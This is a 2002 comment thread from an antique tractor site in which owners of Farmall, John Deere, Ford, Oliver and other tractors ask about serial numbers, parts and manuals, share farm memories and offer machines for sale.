bob wrote on Thursday, June 13, 2002 (PDT):can anyone tell me the size of the front tires on the above machine? I need rims for my MF 65 front, that fit 6.00 x 19 tires on it. Rims on it are shot, but good tires; regular 6 hole offset pattern that 16" uses.
Jess Phillips wrote on Thursday, June 13, 2002 (PDT):I need information on a Ford 3055 GP Tractor It is a great Diesel Tractor 40hp 3 cyl. I can find no information or history or owners manuel, or production dates. It appears to be a hibreed of maybe a 3000 and 4000. it is catII Thanks for any info.
Mike Stacks wrote on Thursday, June 13, 2002 (PDT):I have an Avery for sale ser # 19A 207D wide front end runs but smokes. Extra parts every thing from the radiator to the driveshaft. B'Ham Al. $500.00 E-Mail stacksjm at aol.com
scrany wrote on Thursday, June 13, 2002 (PDT):Cullen, If you scroll up about 7 comments there is a nice piece of information about dating your tractor.
Tom Fesenmyer wrote on Thursday, June 13, 2002 (PDT):I have a 1938 F-20 that I enter in antique tractor pulls. It's lots of fun. I'm looking for a low speed low gear (16 teeth p/n 29849D)and low speed sliding gear (36 teeth p/n 29850D). If I can't find these I suppose I'll try smaller tires. My F-20 has a lot of power, but not enough to turn the big 38" tires.
ANDY SIGN wrote on Wednesday, June 12, 2002 (PDT):To Hazen;I havn't found any ps units for the 300's. You will have to locate a salvage tractor and part it out.
anthony wrote on Wednesday, June 12, 2002 (PDT):When my grandfather started farming we bought 4 farmall model h tractors since then we have owned other tractors but we still own one h a 1941 and it still works the fields today it has never had a engine overhall and it pulls our ih grinder mixer still today it has ne ver had any probloms but a new clutch and brakes how many people out there can say that the own a 1941 deere tractor that has never had a overhaul and works on the farm still today
Anthony wrote on Wednesday, June 12, 2002 (PDT):my grandfather bought a 1066 brand new in 1976 and we still use today it is one of are smaller tracters but it still works better then all the new ones we own we plow with a 6 bottom and we use the 1066 and each year since 1976 weve plowed over 300 aceres a year
Anthony wrote on Wednesday, June 12, 2002 (PDT):my grandfather bought a 1066 brand new in 1976 and we still use today it is one of are smaller tracters but it still works better then all the new ones we own we plow with a 6 bottom and we use the 1066 and each year since 1976 weve plowed over 300 aceres a year
Randy Wolf wrote on Wednesday, June 12, 2002 (PDT):I recently bought a 1944 H that is missing the Clutch Housing Cover and the Clutch Housing Hand Hole Cover. If anyone knows a source for them, please contact me.
Steve Goldstein wrote on Tuesday, June 11, 2002 (PDT):My Father in law passed away and he owned a Ford Super Dexta. We are selling this tractor to someone but we need to know what the approx. worth is. The numbers that we get from the left hand side of the tractor are; CKN1372 1C, 37111310, also on the right side it shows 957E7005. The name on the tractor says Ford Super Dexta it is a blue tractor. Any info would be helpful. Thanks.
Don Copler wrote on Tuesday, June 11, 2002 (PDT):I have a LEADER Model 48D that I bought in 1964 and have used it ever since. Still runs good, could use paint job. Also, I have a 48D parts tractor, almost complete. Great tractors!
Richard wrote on Monday, June 10, 2002 (PDT):I am looking for a good Fordson Major steering wormshaft. It's not power steering. My tractor was made in 9/56.
Bruce V. wrote on Monday, June 10, 2002 (PDT):I remember as a youth spending many cold Iowa spring days plowing with my 3 brothers all on WD45's huddled down behind the heat houser in late spring snows. Dad said we got a lot more done for less money than the neighbors on their big green machines!
Al Grove wrote on Monday, June 10, 2002 (PDT):I have a 1940 9N in excellent condition. It works weekly for me and has been maintained dilligentluyl. I am less than a year older than my trusty old tractor. I also have a 1999 Ford/New Holland that does the heavy lifting around the ranch but the 9N is really better to mowing and the lighter joby. Many questions have been asked by others about the 9N that I believe I can answer. Here are a few answers to commonly asked questions. 1. 9N tractors were first produced in 1939. 2. 2N tractors were produced during the war years. 3. 8N tractors were first produced in 1948. This should clearup model years. Improvement were continuously made. Many 2N's were shipped with steel wheels, no rummber tires, and magnitos innitions, no batteries, because of wartime shortages. These were hand crank models. Most were updated after the war when rubber and lead batteries became available again. 4. 9N's and 2N's were painted all grey. A darker grey than was used on 8 N's. 5. 8N's had the hood and fenders in light grey and the motor and chassis in red. 6. 9N's and 2N's were manufactured under a handshake agreement between Henry Ford and Harry Ferguson. Ferguson supplied the design and patent rights to the Ferguson lift system for the farm implements. 7. The handshake agreement ended in 1947 after a bitter lawsuit filed by Ferguson against Ford. 8N's were built by Ford with a different and improved lift system. 8. Ferguson made a very similar tractors both in the US and England after WWII. It was known as the "Ferguson." I wouuld be happy to answer other questions about the history if I can. algrove at ktc.com
Doug wrote on Monday, June 10, 2002 (PDT):My grandfather has a FOrd 600 series tractor he's restoring and was wandering what the correct date of manufsacture was the srial numbers read 114902. He thinks it is a 660 since that is what is stamped above these numbers but ha was told that it was a '62 but that doesn't jive with the bio on this tractor. another site said it was a 1956 and was just getting a second opinion. Any info would help thanks
jerry wrote on Sunday, June 09, 2002 (PDT):IM LOOKING FOR A AC. 160 OR 175 OR 185 IF SOME ONE HAS ONE LET ME KNOW
Leif wrote on Sunday, June 09, 2002 (PDT):Last summer we logged a woods with a 60 and we beat the crap out of it. I'v never seen a tractor take so much of a beating.
Allen Newman wrote on Sunday, June 09, 2002 (PDT):i once owned a 60 j.d. with a tricycle frontend. it was not suitable for what i needed a tractor for. i have a lot of uneven ground. there was a danger of turning over. i sold it and got a 8n ford so it would be closer to the ground. it suits my propose. i do miss the john deere. i would ride it down the road just to hear it run. there is nothing like that old popping sound. i like the 8n to. wished i had kept the john deere to go along with the 8n. what i am trying to get across is= don't get down on the other tractors because you own a certain kind. they are all good. it is what you are going to use it for.
Adam Kenerly wrote on Saturday, June 08, 2002 (PDT):I agree with Frank and the others, i believe that this is a ZB. i own a MM U and a MM Z and it has a straight steering system and seat behind the rear wheels, the seat on this one is too far up and the steering column stands up too high. also, if anyone has any info on restoring a MM Z and getting it ready to tractor pull in the stock didvision please get in touch with me
Brad Knott wrote on Saturday, June 08, 2002 (PDT):I have a newly restored 1936 F-20. The front packing leaks comes where it comes out of front of transmission. I put in new packing, but still leaking. Is there a secret to installing packing or does anyone have any ideas.
Joe wrote on Friday, June 07, 2002 (PDT):I grew up on a farm in Pennsylvania using Fordson Majors through the 60s and 70s. We owned six Majors at one time. My father still has four of them. Two still run pretty good; the other two would run if given attention. The models are; 1958 Major (still runs), 1960 Power Major (doesn't run -- I never liked the Power Majors -- we had two of them at one time), 1963 Super Major (still runs -- I think the '63 Super Major was the best tractor we had on the farm), 1964 Super Major (5000 -- they were White and gray instead of blue and orange) (doesn't run). All I can say is we farmed over 2000 acs and owned just about every tractor you can get in the US at one time or another, but the Fordson Majors were the absolute best. No always the most powerful. But we could always count on them.
Joe wrote on Friday, June 07, 2002 (PDT):I grew up on a farm in Pennsylvania using Fordson Majors through the 60s and 70s. We owned six Majors at one time. My father still has four of them. Two still run pretty good; the other two would run if given attention. The models are; 1958 Major (still runs), 1960 Power Major (doesn't run -- I never liked the Power Majors -- we had two of them at one time), 1963 Super Major (still runs -- I think the '63 Super Major was the best tractor we had on the farm), 1964 Super Major (5000 -- they were White and gray instead of blue and orange) (doesn't run). All I can say is we farmed over 2000 acs and owned just about every tractor you can get in the US at one time or another, but the Fordson Majors were the absolute best. No always the most powerful. But we could always count on them.
IowaBoy wrote on Friday, June 07, 2002 (PDT):We are still using a International 350 High Utility tractor (wide front end)in the fields to cultivate or haul round bales. Hydraulic two point hitch and PTO. Serial #16110. What year would that be? What's it worth? Your welcome to bid on it. We reserve the right to reject any or all bids.
ANDY SIGN wrote on Thursday, June 06, 2002 (PDT):Hey, I just found this place! A good source of info can be found at your nearest CASE IH DEALER. I purchased the 300 Utility Tractor Operators Manual part # 10044R4 for under $30 dollars. To all those wondering what year their 300 is, they were only produced in 1955 and 1956. The serial number if you can make it out is stamped on the nameplate located on the right side of the clutch housing. Numbers 501 to 20218 were made in 1955. Numbers 20219 to 33064 were made in 1956. I have a 1955, and would like to find a loader for it.
Bruce Chapman wrote on Thursday, June 06, 2002 (PDT):Bouight my first tractor in 1980. WD-45/ wide front. Great tractor, pulled AC-66 combine, mower, three bottom plow, New Holland -66 baler, and other implements. Ran great from 1980 until sold in 1988. Just bought 49-8N. Wish I had my WD-45. Bruce, Pleasant Shade, TN
Fred Seeley wrote on Thursday, June 06, 2002 (PDT):Looking for steering valve for 1959 Oliver 550 gas serial no 81-795. Also need steering hyd pump that goes on generater for the power steering.Just bought this tractor has hylift and backhoe.Thanks
Ray Feijo wrote on Thursday, June 06, 2002 (PDT):We have a 1949 8N tractor and I need to know how to adjust the sterring box. Any help or directions to find help would be appriciated.
Dayton wrote on Wednesday, June 05, 2002 (PDT):Hi I"am looking for a 420 or 430 crawler in fair to good condition,with a dozer blade.I live in the Pacific Nortwest and can't afford to have one ship to far.
Phil Biland wrote on Tuesday, June 04, 2002 (PDT):My Super 55 belonged to my wife's great grandfather. It was sold, but we found her and bought her back. It runs great, spews the black stuff like the other guy wrote. I too need the paint schemes. The guy who bought it painted the entire tractor green...but not Oliver green.
randy lavoie wrote on Tuesday, June 04, 2002 (PDT):i have a chance to buy a ford 800 with a front end loader and a backhoe attachment. it is in good shape,no smoke and all hydralics work. any ideas on what is worth could be? any comments from other owners would be appreciated
Phil Gottschalk wrote on Monday, June 03, 2002 (PDT):When did John Deere first introduce electric starting and lights on the Model D tractor? Need an absolute answer on a bet!
Jim Broughton wrote on Sunday, June 02, 2002 (PDT): Sarah; My serial number list shows that number being produced in 1948...My cub is a 1959 model with "fast-tach" hitch and hydraulics, I'm not sure about the set-up on earlier models, perhaps someone will fill in the gaps for you. Lots of luck, these cubs can be a hoot!! Jim
Sparky wrote on Sunday, June 02, 2002 (PDT):I've not seen a lot of mail that addresses the 240 utility. What was their primary purpose? Is it a sound tractor? How many were made? Horse power? I have an opportunity to pick one up dirt cheap. The tractor has been inside its entire life and appears to be sound.
Sarah wrote on Sunday, June 02, 2002 (PDT):I have a Farmall F Cub tractor with the serial number 16958. There is also a number on the body, 351686RI. I would like as much information as possible on it.I beleive it is a 1950 although I am not sure.Please e-mail me if you have any information. Thanks!
John Nabholz wrote on Sunday, June 02, 2002 (PDT):Anyone know if it's possible to retrofit a two- or three-point hitch from another IH model (Super C, 300-series, etc.) to a 1943 H? I have a beauty, but need to use a back blade. I can't afford the $700 for an aftermarket kit, but have easy access to lots of older-model IHs at local parts yards. Thanks for any info you can provide!
Kevin Oliver wrote on Saturday, June 01, 2002 (PDT):I need information on Oliver Tractor parts. My Father in Law owns 4 tractors all Olivers ...well there is the old 1930s Hart-Parr crank start he still runs to this day! He also has a Cletrac HG for the fun of it.... Don't forget his best friend the 550 he truely loves!! He also has another early Oliver as well, they added a front bucket to use for carrying stuff around the farm. I am looking at helping him to fix a few odds and end on them and I need all the help I can get. He knows everything about tractors ... I mean everything!!! But the parts are the hard part, and he doesn't use a computer s othis is my part ... PLEASE HELP!! What we really need is a new steering wheel for the 550 it is a 1964 and also a temperature gauge for it as well .He would buy the whole gauge cluster if he could. THANKS
Gene Elliott wrote on Friday, May 31, 2002 (PDT):QUESTION ; In my 1939 H ,I have no oil pressure after I changed oil & filter, (replaced identical filter)it had high pressure previously, whats wrong ? I bled the gauge line and getting oil out the line but only light pressure.
charles wrote on Thursday, May 30, 2002 (PDT):i have a 300 utility and reversed the fly wheel and now i seem to be having trouble remembering how the clutch and throw out bering go back in. I'M NOT A MECHANIC but i had to try. i'm getting way behind and need this work horse running again thanks
Sharon wrote on Thursday, May 30, 2002 (PDT):I am looking for information concerning the Case 600 LP and the Case 700 diesel tractors. If anyone knows how many were made and their capacities, I am interested. sharonthurston at hotmail.com
jimmy l. williams wrote on Thursday, May 30, 2002 (PDT):ken that wrote on jan 15 02 that want to sale the 601 workmaster ofset tractor. please e-mail back to me if still have it and were also a phone no. thank you sitegrader at aol.com
Mary Ann wrote on Wednesday, May 29, 2002 (PDT):I have one of these that needs a new home. Works and has lotta accessories. Am clearing farm barn and need help figuring out where/how/how much to sell it asap for space. Thanks, Mary Ann
andy chapins wrote on Wednesday, May 29, 2002 (PDT):I just got this tractior, and I'm trying to find out what year it is... The guy i bought it off of said it was a 1951. Yet, it looks just like the one in the Allis Chalmers CA B picture. That one is a 1938 model. The I.D. # B78610 was just above the shifter. Please let me know what year it is and how much thier going for$
scotty moore wrote on Wednesday, May 29, 2002 (PDT):I wrote a note here last week. Is this still active ?
Erik wrote on Wednesday, May 29, 2002 (PDT):I have acquired a 770 Diesel. I am uncertain about the year. I really don't know much about tractors, but have been appreciating this Oliver. How stable are the 770s? I have quite a hill that I started using the brush hog on, and everyone tells me "I wouldn't use that tractor on that hill." I haven't popped it on three wheels yet, but could use some advice. I really don't want to die. The guy before me used the 770 on this same terrain, but he didn't seem to have all his marbles. Are there any tricks to keeping them on the ground, or better ways to cut with them?
David Rogers wrote on Tuesday, May 28, 2002 (PDT):Can you get a tractor for my dad? pleease we don't have a lot of money!!!!
jw- wrote on Monday, May 27, 2002 (PDT):I have a 57 871 Select-O-Speed. I have never had any problems with it until recently. I was working on a little wetland project near my home. I was using a 3pt bucket to build a little island for ducks to nest(my cats put them out of business last year). Anyway I was doing a lot of backing up and pulling dirt up to form an island. I don't know why but the shifting pattern changed. Displayed park is now 1, r2 - 2, r1 - 3, n - 4, etc. displayed 8 is now nuetral and 9 and 10 are the reverses. If anyone has any idea what went wrong I would appreciate some advise.
Amy Rentschler wrote on Monday, May 27, 2002 (PDT):My '61 Cub seems to have a coat of yellow paint under the current red. What was the deal with the yellow paint? I've seen some comments on it , but not an answer. Hope you can help. It came with a belly mower. I'm looking forward to taking it to a tractor show at the end of June. See you at the Fulton County Fair Grounds.
Amy Rentschler wrote on Monday, May 27, 2002 (PDT):I just bought my first farmall tractor. It's a '61 cub. I grew up with the 'Green'ones, but since working at a CaseIH dealer for 2 years, I have great respect for Farmall tractor. I never though My father would have a Red one on the farm but he helped purchase it.
andy wrote on Sunday, May 26, 2002 (PDT):i am 12 and my dada purchased a MD and it was worth it... it was in rough shap when we broght it home. It sat outside for 15 years, and was missing alot of pieces.So we went to our local junkyard and got all of our supplies and now its all restored and like new... i am a tractor puller, and i pull our smta farmall and our super H with live highdrolices. And we might pull our MD some day. Me my dad and my grandpa own over 8 farmalls, and ill be glad to give you info.
angie waner wrote on Saturday, May 25, 2002 (PDT):I have an older ac that my grandpa said i could get running.all i have is a serial # wc152812. if n-e one could help me with year, so i could find a manual to get it running.and/or some info on getting it preped for starting. thxs angie. kansas
Henry Milks, Jr. wrote on Friday, May 24, 2002 (PDT):My dad had a Case VC tractor. he bought it new in 1941 at Kayes Moter Sales in Portville, New York. Dad died in 1998 and shortly after he died I was contacted by a young man who found out we had an old Case Tractor and wanted to buy it. We told him that if he tore down the old building the tractor was in and cleaned it all up, he could have the tractor for free. Needless to say he jumped right on that deal. The tractor was in sad shape. The engine was froze up and the hood and other sheet metal were rusted badly. The young guy took the tractor home on a trailer and went right to work on it. He had to get a new engine, and believe it or not found a brand new one still in the crate!!! It cost him a small fortune for it but he had to have it, because the original one was beyond repair. He also found all new sheet metal for it!! We still had all the original manuals that came with it, for tractor, plows, and Mowing Machine, and we gave all those to him also. I've seen and driven tractor since he got it all restored and it's real sharp. Hope you enjoy reading this. I'll include my home address in case you care to contact me. Henry Milks, Jr. 36 Cross Drive Bradford, Pa. 16701
doreen wrote on Friday, May 24, 2002 (PDT):I'm looking for the decal on this tractor - anyone have any ideas? Thanks
Larry Decker wrote on Friday, May 24, 2002 (PDT):I may have my years mixed up but the story here goes that my grandfather bought a brand new M in the fall of '36, 1937 being the first year of production supposedly, because he was involved with his stepson in the implement business. It came with a mounted two row cornpicker (2m?) and in those days the wagons were on steel wheels and very long. Anyway, dad told the story about grampa heading up the road on the maiden voyage to the corn field and when he put it into fifth gear it just died. Dad said he was put out with that tractor from then on, but we always had at least one M here on the farm untill a couple years ago when I sold the one I had. I may have to find another one though.
trevor Grant wrote on Friday, May 24, 2002 (PDT):nice ac. this is the very kind that i am looking for to buy. old ones is what i want with the double wheels close together in the front. wanna sell it
clif wrote on Thursday, May 23, 2002 (PDT):I use a 1945 Massey 81 STD for tractor pulling and it does quit well. One thing to remember on the 81 it used 2 different engine sizes one was a 124 the other is a 140. Also the model 82 was basically the same tractor. My dad owns over 50 massey harris tractors ranging from the gg to 55.
Doug. Carrick wrote on Thursday, May 23, 2002 (PDT): I have a 1949 seires 3 field marshell and have showed it at the progress show in Regina Saskatchewan Canada and have had it in the pull down there,People love to see it every year,I am in the process of restoring a series 2 for our museum in Moose Jaw. They are great tractors, May 23-02
IH farmer wrote on Wednesday, May 22, 2002 (PDT):Is it odd for an M gas job to be able to pull a new holland 680 manure spreder and chop corn with a NH 718 chopper and drag a round a john deere 730 diesel like it wasn't even there? Also it will do well over 35 mph down the road. its all stock. Pistons are not over sized trans is stock gearing.Its not turned up. I guess its not to bad for a tractor that was found in the woods
Robert wrote on Wednesday, May 22, 2002 (PDT):I have a 49' Model H that is all original except the addition of a 3-point hitch and the fresh coat of paint that is going on tomorrow. She is a great tractor and never missed a beat, she still purrs like a kitten."ALL YOU MODEL H OWNERS KNOW THERE IS NO SOUND LIKE A THE PURR OF A FARMALL AT WORK"
Ken wrote on Wednesday, May 22, 2002 (PDT):I just bought a 350 for $2000 in very good shape. Straight sheet metal, all the parts in place and hydraulic three point. I would like to know if anyone can steer me where to go to get a manul and where I might case down the serial number to find out its year
Dwight Curb wrote on Wednesday, May 22, 2002 (PDT):I get a kick out of reading the stories about the ole Oliver Super 55's. I have one I bought in 1978. It's a gas model and I'm pretty sure is a 57 year model.I've got lot's of stories I'd be glad to swap about this indestructable machine. I use it to shred the field ( couple acres)and blade the gravel lane and stuff.Also have an old hammer mill I drive off the pto for making compost out of leaves and debri.Good tractor and lot's of fun play with.
Don Miller wrote on Tuesday, May 21, 2002 (PDT):I have had a 47B for 15 years or more. I have replaced the Rods with Inserted Bearings and completely built the eng. Use it every year to plow and Bushog at the hunting club. I enjoy it veery much all I need to do to restore it is paint and the paint is not all that bad now.
Doc wrote on Tuesday, May 21, 2002 (PDT):I bought a Poney Serial # PGA 21443. I would like to know the correct year (I am thinhing it is a 52 ?)not sure. I would like to know the origial color for this tractor. The motor # is N 62 E40175 2. I will be needing some parts and need to know were to get them from. I also will be needing some side panals that covers the battery area. Need to know the wireing system. Would like a photo if anyone can send one so I can look at it to restore this taracor.Can anyone help? Thanks
Jack Hopwood wrote on Tuesday, May 21, 2002 (PDT):Although I live in Tucson, AZ, my father owned a model G that we would be interested in selling. It is located near Batesville, AR; my father passed away earlier this month but owned and maintained it for ~45 yrs. We really don't know the value of it, but it did run fine as of this last autumn; no one has tried to start it since. For most of its life, the tractor was kept in a barn or garage, but for the last ~5 years, a tarp was used. I don't have a serial no. or year available right now. It has a pto and hydraulic lift. Dad bought it with a plow but left it behind when he moved from Ohio. Mounted on the tractor now is a Woods rotary mower which Dad used regularly. If you are interested in purchasing this tractor, please return my email or call me at your convenience. Jack Hopwood - Office Ph. No. 520-744-5505, Home no. 520-544-7797
Neeno the Colorado Man wrote on Monday, May 20, 2002 (PDT):Let me tell you straight out that the JD G was the guttiest tractor that JD ever made. It was 'Horse' and anyone that ever drove one can attest to the fact that it wouldn't stop for anything. I especially like plowing with the 50 G that we had.
stacey wrote on Monday, May 20, 2002 (PDT):I need decal locations for John Deere 2010. A bigger picture would be helpful.
Tedd wrote on Monday, May 20, 2002 (PDT):I recently bought a 1947 Farmall A. It came with a single bottom plow and also cultivators. Does anyone know of a good website or book that shows all the implements for these tractors and how they are attached. Can figure out how to get the cultivators on... Thanks.
shane wrote on Monday, May 20, 2002 (PDT):Does anyone know where I could get info on someone who could help me restore my 1954 AC WD_45?
R. Hughes wrote on Monday, May 20, 2002 (PDT):Owner of 1937B (brass tag) totaly origional. Sort of a neat tractor, at least it sounds neat when it's running & it runs like a charm!! semper-fi!!
Fred Gonzales wrote on Sunday, May 19, 2002 (PDT):I recently purchased a 1952 Farmall A tractor and would please like to know if anyone might have some information on where i could find a operators or sevice manual for it.
Jim Broughton wrote on Sunday, May 19, 2002 (PDT):Marion; Mask off around your I/D plate, then clean the paint off with lacquer thinner, careful, keep it off your new paint job ! I've got a 59w/fast-tach,it has a IH gem dandy of a plow,(works real well) a rear blade (it's actually a yan-mar blade, but it works fine. The best or most used tool, though is a five foot sickle-bar mower, which attaches to the under side of the engine housing, but powers off the PTO, and it really works well !! I recently acquired a set of cultivators for it, but I haven't tried them yet. Hope this helps !! P.S. A lot of the guys use a "woods" belly mower (rotary) with their Cub with good results . Jim
Marion Smith Jr wrote on Sunday, May 19, 2002 (PDT):Just bought a Cub Lo-Boy with fast-hitch (my first tractor) and want to get at the I.D. plate near the steering box. It has alot of IH red paint from recent paint job all over it. Is the info on the tag stamped in? What would be the best way to remove the paint and preserve the numbers and such? Also, I'd like to know what all was available in the way of attachments/implements for the Low-boy, including those pwered by the pto. From pictures it appears to be 1955-1957 model. This site looks like it is GREAT HELP. Thanks.
farmike wrote on Saturday, May 18, 2002 (PDT):This is to Ralph your tractor is a 1939
farmike wrote on Saturday, May 18, 2002 (PDT):This is to Ralph your tractor is a 1939
farmike wrote on Saturday, May 18, 2002 (PDT):This is to Ralph your tractor is a 1939
Todd Hardacre wrote on Saturday, May 18, 2002 (PDT):I am looking at purchasing a IH 140 s/n 33662. Going price is $2,000.... Im new to these tractors and have a couple questions, that I hope someone may be able to answer? The tractor is in need of paint, has good sheetmetal, new tires. It runs and drives great but needs brakes. I can do those myself. But,when letting the clutch out slow to move, the tractor lurches hard like its grabbing. Does this mean the clutch is bad? And, when driving it, there is noise from the gearbox. Almost like it the thrust bearing could be bad on the gear clusters. Can anyone help me with these questions, and let me know if the going price is too high for what is wrong with it. Thanks ahead of time!! Todd H. (southern IL)
Jason wrote on Saturday, May 18, 2002 (PDT):My father and I have a G, that we're currently restoring and will probably sell down the road. We buy and restore antique tractors and then resell them. My dad said he'd be interested in buying more G's if anyone's interested in selling their's? We live in Huntsville, Alabama. Please email if anyone needs to ask or wants to sell. Thanks, Jason
Bill Habiger wrote on Friday, May 17, 2002 (PDT):I ran my father's 1929 G-2 rock Island on a farm near Salina Kansas until 1960.It is still on the farm waiting for some one to restore it. also have many parts and a parts tractor. Will sell all for $1800
Bill Habiger wrote on Friday, May 17, 2002 (PDT):I ran my father's 1929 G-2 rock Island on a farm near Salina Kansas until 1960.It is still on the farm waiting for some one to restore it. also have many parts and a parts tractor. Will sell all for $1800
Stacy wrote on Thursday, May 16, 2002 (PDT):Does anyone have a B farmall for sale or know of someone that has one for sale near west Tenn.
stacy wrote on Thursday, May 16, 2002 (PDT):Does anyone have a B farmall for sale or know of someone that has one for sale around west Tenn.
Littlegd37 wrote on Thursday, May 16, 2002 (PDT):have International 140,ser#14335J would like to find any books on just this tractor.can you help??
Ferrier wrote on Thursday, May 16, 2002 (PDT):when was this tractor in this picture made
Matthew Gluth wrote on Thursday, May 16, 2002 (PDT):I'm looking to find how much a 1950's IH 350 utility with loader and backhoe weighs, can anyone help me?
john alexander wrote on Wednesday, May 15, 2002 (PDT):I purchased an Allis Chalmers from a man he told me it was a WD however the numbers dont make sense. The serial # at the gearshift is 208663 the # on the engine block is WD544306PA. can you help me, what model do I own?
Walter L. Curtis wrote on Tuesday, May 14, 2002 (PDT):Is there a manuel on how to rebuild a Super Dexta Tractor engine?
Wilbur Carp wrote on Tuesday, May 14, 2002 (PDT):I grew up on an Oliver 60. My uncle still has 2 of them. They still run. (could use a little work and paint) And he also still has an Oliver 660. Thats the big work horse. George retired now, but still uses the tractors to plow snow and will do a little custom baling if it doesn't interfere with cards day at the senior center.
andy kings wrote on Tuesday, May 14, 2002 (PDT):i have just bought a ford 2000 dexter 3 cylinder diesel ,i am trying to find the year of it.As i cant find any information about it can any one help me, please write back and let me know. andy
philip wellman wrote on Monday, May 13, 2002 (PDT):we bought and restored a 30 cockshutt 2 years ago . a great canadian made tractor the classic styling really sticksout at a tractor show.canadian engineering made a superior tractor.
DON Flanders wrote on Sunday, May 12, 2002 (PDT):Sorry, correction to the above. The cowling required is located below the front grill of a Ferguson T0 35. Looking for orginal owners manual, parts and service books for the same tractor. Thanks Don
DON Flanders wrote on Sunday, May 12, 2002 (PDT):Sorry, correction to the above. The cowling required is located below the front grill of a Ferguson T0 35. Looking for orginal owners manual, parts and service books for the same tractor. Thanks Don
Jim Huff wrote on Sunday, May 12, 2002 (PDT):I have a 50 Cockshutt with a narrow front end.I still use this tractor in the field and pulling a 849 baler.This tractor in not ready for retirement.It is a diesel.
Jay Downing wrote on Sunday, May 12, 2002 (PDT):Im looking for a wide front for my Super C, and also a front grill in decent shape. I Recently bought the C. Seems to be a pretty snappy tractor for its size.
Lee W. wrote on Thursday, May 09, 2002 (PDT):I'm a sophamore in high school and a member of the ffa chapter. This fall we bought a 1951 farmall M to restore in a competition. When we bought it it was locked up tight, pretty much, if it was supposed to move... it didnt. WE have had it since mid march, and it is now totally dissassembled, even sleeves are pulled out of the cylinders. The only thing out together in the differential, we put it back together last week. WE are currently sandblasting and reassembling for painting. Just thought I might throw all this out. If your interested reply and ill try to answer questions and keep updated.
Eddie Pack wrote on Thursday, May 09, 2002 (PDT):Does anyone know where I can find Pictures and Info. for a 1948 O-6. I have one and would like to restore it, but can't find any info. on it. Thanks, Eddie
Zach Novotny wrote on Thursday, May 09, 2002 (PDT):I can top anything people say because my sister drove our grandfather's John Deere D to Prom.
Pat Rosato wrote on Wednesday, May 08, 2002 (PDT):I have a IH Utility 300, 1955 I beleive, FOund a number on the side of the transmission housing 360553-R3 and another number 5-19-A. Can anybody tell me anything about this tractor? I bought it in 1996 and have used it every day on the ranch for a variety of tasks.
ac wrote on Wednesday, May 08, 2002 (PDT):I've got a model A it runs really good. We are about to restore it.
Todd smith wrote on Wednesday, May 08, 2002 (PDT):looking for pistons for 2010 desiel tractor
Jeff Biberdorf wrote on Tuesday, May 07, 2002 (PDT):When was this tractor invented and please add more info. about tractor.
Bob Robel wrote on Tuesday, May 07, 2002 (PDT):I was raised on a Lindeman crawler that my dad had. He bought it new and we still us it today. We have all the attachments, cultivator, ditcher, Lindeman disk and blade. Everything still works. They are the greatest tractor ever made. Nothing like the sound a Johnny-pop.
Jim wrote on Monday, May 06, 2002 (PDT):I have a 1956 Farmall 300 RC which I use primarily to pull a 7 foot mower to cut my lawn. It has developed a dull or hollow sounding knock in the right real axel housing. It seems to occur with each revolution of the wheel. Not a tractor genius and am wondering what this could be and what it might take to repair it - if it needs to be repaired. I have seen it leak a bit of 80 weight oil when it sits over night from the same asre where the knock seems to be coming from. I have kept the grease nipple full. Would like to know how serious this may be and how best to fix it. Thanks
Shane wrote on Monday, May 06, 2002 (PDT):I have a 1957 720D great tractor but very noisy, is there any trick to quieting them down or is that the way they are?
Chris Muse wrote on Sunday, May 05, 2002 (PDT):My grandpa has an 830 Diesel power steering John Deere. It was a very nice tractor. I love old John Deere's. 830's are my favorite.
Tony wrote on Saturday, May 04, 2002 (PDT):Just a question, what is the difference between the GVI and M5 tractors that have maroon decals as opposed to those that have black decals? This has been a source of interest to me for a while now.
Paul Tran wrote on Thursday, May 02, 2002 (PDT):I do have a 52 Case tractor, does anyone know where I can get a manual for it ? Thank you.
jim richards wrote on Thursday, May 02, 2002 (PDT):the john deer 60 replaced the A not the B
bill wrote on Thursday, May 02, 2002 (PDT):I think your tractor would look better if it had a new paint job.....................................
Darrell wrote on Thursday, May 02, 2002 (PDT):looking for belt pully for side pto on a 81 to run a saw rig and decals for tractor thanks Darrell
Red Heis wrote on Wednesday, May 01, 2002 (PDT):I just bought a farmall tractor that is suppose to be a 140 serial # 58764 J. I know the hood and radiator cover are not stock, they are off of A model. Can you identify it from that number.
Tom Gunst wrote on Wednesday, May 01, 2002 (PDT):Looking at buying a model 1950 that has been sitting in field for 10 years! Owner says it was running when he parked it. Tractor is complete, including new birds nest under instrument panel. Needs new rubber and? Owner asking price is $3000. Any advice!
Dina Jameson wrote on Wednesday, May 01, 2002 (PDT):That's right I'm a lady But been pulling tractors since I was 9. And nothing is better than GREEN. This is the first G propane I've ever seen, And all I pull is G's 1 is a 1938 G JD unstyled and the other 1939 G JD styled I pull with my dad and 9 times out of 10 we end up pulling against each other the last two years he's been pulling olivers I've been coming home with 1st place.
Dave "Scooter" Taylor wrote on Wednesday, May 01, 2002 (PDT):to SCRANY; I am also a "beginner". I checked BINDER books and ordered a reproduction owners' operating manual from them. It has all kinds of info for the B and is well worth the price. to ERNIE HENNING; Yes, my mechanic also told me the tractors and all vehicles were designed for leaded gas. The man who sold me my B, said to use "regular gas" (nothing about leaded or unleaded), and it didn't take very long for the plugs to become totally fouled with a black, dry, powdery substance. When I described it to a tractor mechanic, he asked if I had been running unleaded gas and stated that was the problem. I now use an once of lead replacer for each 10 gallons of gas. That is because they don't make "regular leaded" gas any more. It might be possible to have the carb and other fuel-type parts converted so unleaded will work. to LOUIE JEUNE; I am very interested in how you pulled stumps.
Darrel Shields wrote on Tuesday, April 30, 2002 (PDT):Dad recently moved to town and let me have grandfather's 1946 B. It is 2 yrs older than I am, and was one of the first tractors I learned to drive, so I am very attached to it. It's running good now, and am about ready to start on paint. In the late 50's dad and grandpa overhauled it and said it needed to be driven to break it in. They didn't have to ask me twice. Would like to hear from any other B owners. Thanks, and good luck with your tractors.
Jeff Hesse wrote on Monday, April 29, 2002 (PDT):Have a 73 160 with only 2550 on original motor and an AC loader. Love the tractor, but my 3 point drifts down during operation and than kicks back up (lunges. Has anyone else had this problem? I think it is the lifting check valve not holding, but I am not sure.
Amanda Taylor wrote on Monday, April 29, 2002 (PDT):HEY! I am 14 y.o. and I love to pull tractors. John Deere is my favorite make. When I was 9 I pulled an 830 J.D. at our anuall Flywheel Festival here in Houston Mississippi. I really really want one, but my dad says they are too big and i cant get one! Well if u got ne questions about our tractor pull or anything just emial me my emial is mandy_tatortot at hotmail.com
